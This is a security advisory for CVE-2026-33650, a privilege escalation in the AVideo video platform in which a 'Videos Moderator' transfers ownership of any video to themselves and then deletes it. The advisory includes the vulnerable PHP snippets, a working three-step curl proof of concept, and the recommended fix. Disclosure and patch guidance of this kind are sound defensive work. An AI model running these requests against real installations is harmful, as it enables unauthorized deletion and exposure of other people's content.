CVE-2026-33650: AVideo's Video Moderator Privilege Escalation via Ownership Transfer Enables Arbitrary Video Deletion
Summary
A user with the "Videos Moderator" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that Permissions::canModerateVideos() is used as an authorization gate for full video editing in videoAddNew.json.php, while videoDelete.json.php only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain.
Details
The PERMISSIONINACTIVATEVIDEOS (ID 11) permission is described as a limited moderator role in plugin/Permissions/Permissions.php:213:
php $permissions[] = new PluginPermissionOption( Permissions::PERMISSIONINACTIVATEVIDEOS, ('Videos Moderator'), ('This is a level below the (Videos Admin), this type of user can change the video publicity (Active, Inactive, Unlisted)'), 'Permissions' );
However, Permissions::canModerateVideos() (Permissions.php:175) is reused as an authorization gate in multiple locations in videoAddNew.json.php that go far beyond status changes:
1. Upload gate bypass (videoAddNew.json.php:10): User::canUpload() (user.php:2650) returns true if Permissions::canModerateVideos() is true, granting moderators upload access.
2. Edit gate bypass (videoAddNew.json.php:19): php if (!Video::canEdit($POST['id']) && !Permissions::canModerateVideos()) { die('{"error":"2 ' . ("Permission denied") . '"}'); } Video::canEdit() correctly checks only canAdminVideos() and ownership, but the || !Permissions::canModerateVideos() fallback allows moderators to edit any video.
3. Ownership transfer (videoAddNew.json.php:222): php if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || Usersaffiliations::isUserAffiliateOrCompanyToEachOther($obj->getUsersid(), $POST['usersid'])) { $obj->setUsersid($POST['usersid']); } userCanChangeVideoOwner defaults to false (CustomizeUser.php:286), but canModerateVideos() provides an unconditional bypass, allowing any moderator to reassign ownership of any video.
4. Delete via ownership (videoDelete.json.php:22-28): php if(empty($video->getUsersid()) || $video->getUsersid() != User::getId()){ if (!$video->userCanManageVideo()) { // denied } } $id = $video->delete(); userCanManageVideo() (video.php:3614) checks canAdminVideos() (not canModerateVideos()), then falls back to ownership. After the ownership transfer in step 3, the moderator is now the owner, so this check passes.
The authorization asymmetry: videoAddNew.json.php treats canModerateVideos() as equivalent to canAdminVideos(), but videoDelete.json.php and userCanManageVideo() do not — creating a gap exploitable by transferring ownership first.
Additional fields a moderator can modify beyond their intended scope: - onlyforpaid (line 210) — make premium content free - videopassword (line 211) — change/remove password protection - categoriesid (line 168) — alter content categorization - videoGroups (line 175) — modify user group visibility
PoC
Prerequisites: An account with the "Videos Moderator" permission (PERMISSIONINACTIVATEVIDEOS = 11) and a target video ID owned by another user.
Step 1: Transfer ownership of target video to attacker
bash ATTACKERUSERID = moderator's user ID TARGETVIDEOID = ID of video owned by another user (e.g., admin) curl -s -b cookies.txt -X POST \ 'http://localhost/objects/videoAddNew.json.php' \ -d "id=TARGETVIDEOID&usersid=ATTACKERUSERID&title=unchanged"
Expected response: {"status":true, ...} — ownership is now transferred to the attacker.
Step 2: Delete the video (now owned by attacker)
bash curl -s -b cookies.txt -X POST \ 'http://localhost/objects/videoDelete.json.php' \ -d "id[]=TARGETVIDEOID"
Expected response: {"error":false, ...} — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner.
Step 3 (additional impact): Access password-protected video
bash curl -s -b cookies.txt -X POST \ 'http://localhost/objects/videoAddNew.json.php' \ -d "id=TARGETVIDEOID&videopassword=&title=unchanged"
This removes the video password, granting the moderator (and everyone) access to previously protected content.
Impact
- Arbitrary video deletion: A Videos Moderator can delete any video on the platform, including admin-owned content, by first transferring ownership to themselves then deleting. - Content tampering: Moderator can change paid content flags (onlyforpaid), video passwords, categories, and user group visibility on any video — all exceeding the documented scope of "change video publicity." - Access control bypass: Password-protected videos can have their passwords removed, exposing restricted content. - Integrity loss: Video ownership records are corrupted, making audit trails unreliable. - Availability impact: Targeted deletion of high-value content with no authorization check appropriate to the destructive action.
The blast radius is any video on the platform. Any user granted the "Videos Moderator" role — which administrators may grant freely assuming it only allows status changes — gains effective full video management capabilities.
Recommended Fix
Replace Permissions::canModerateVideos() with Permissions::canAdminVideos() in videoAddNew.json.php where full edit capabilities are granted. Keep canModerateVideos() only for the specific status/publicity change operations it was designed for.
Fix for ownership transfer (videoAddNew.json.php:222): php // Before (vulnerable): if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || ...
// After (fixed): if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canAdminVideos() || ...
Fix for edit gate (videoAddNew.json.php:19): php // Before (vulnerable): if (!Video::canEdit($POST['id']) && !Permissions::canModerateVideos()) {
// After (fixed): if (!Video::canEdit($POST['id']) && !Permissions::canAdminVideos()) {
Then create a separate, narrower code path for moderators that only allows changing video status/publicity fields. Alternatively, refactor videoAddNew.json.php to check canModerateVideos() only around the specific status-change logic (lines 238-248) and require canAdminVideos() for all other fields.
Other sources
WWBN AVideo is an open source video platform. In versions up to and including 26.0, a user with the "Videos Moderator" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that Permissions::canModerateVideos() is used as an authorization gate for full video editing in videoAddNew.json.php, while videoDelete.json.php only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain. Commit 838e16818c793779406ecbf34ebaeba9830e33f8 contains a patch.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33650?
CVE-2026-33650 has been classified as a high severity vulnerability due to its ability to escalate privileges and allow arbitrary video deletion.
How do I fix CVE-2026-33650?
To fix CVE-2026-33650, upgrade AVideo to version 26.1 or later where the vulnerability has been addressed.
What kind of systems are affected by CVE-2026-33650?
CVE-2026-33650 affects all versions of AVideo up to and including version 26.0.
Who can exploit CVE-2026-33650?
An attacker with "Videos Moderator" permissions can exploit CVE-2026-33650 to escalate privileges.
What actions can be taken by exploiting CVE-2026-33650?
Exploiting CVE-2026-33650 allows attackers to manage video operations, including deleting any video on the platform.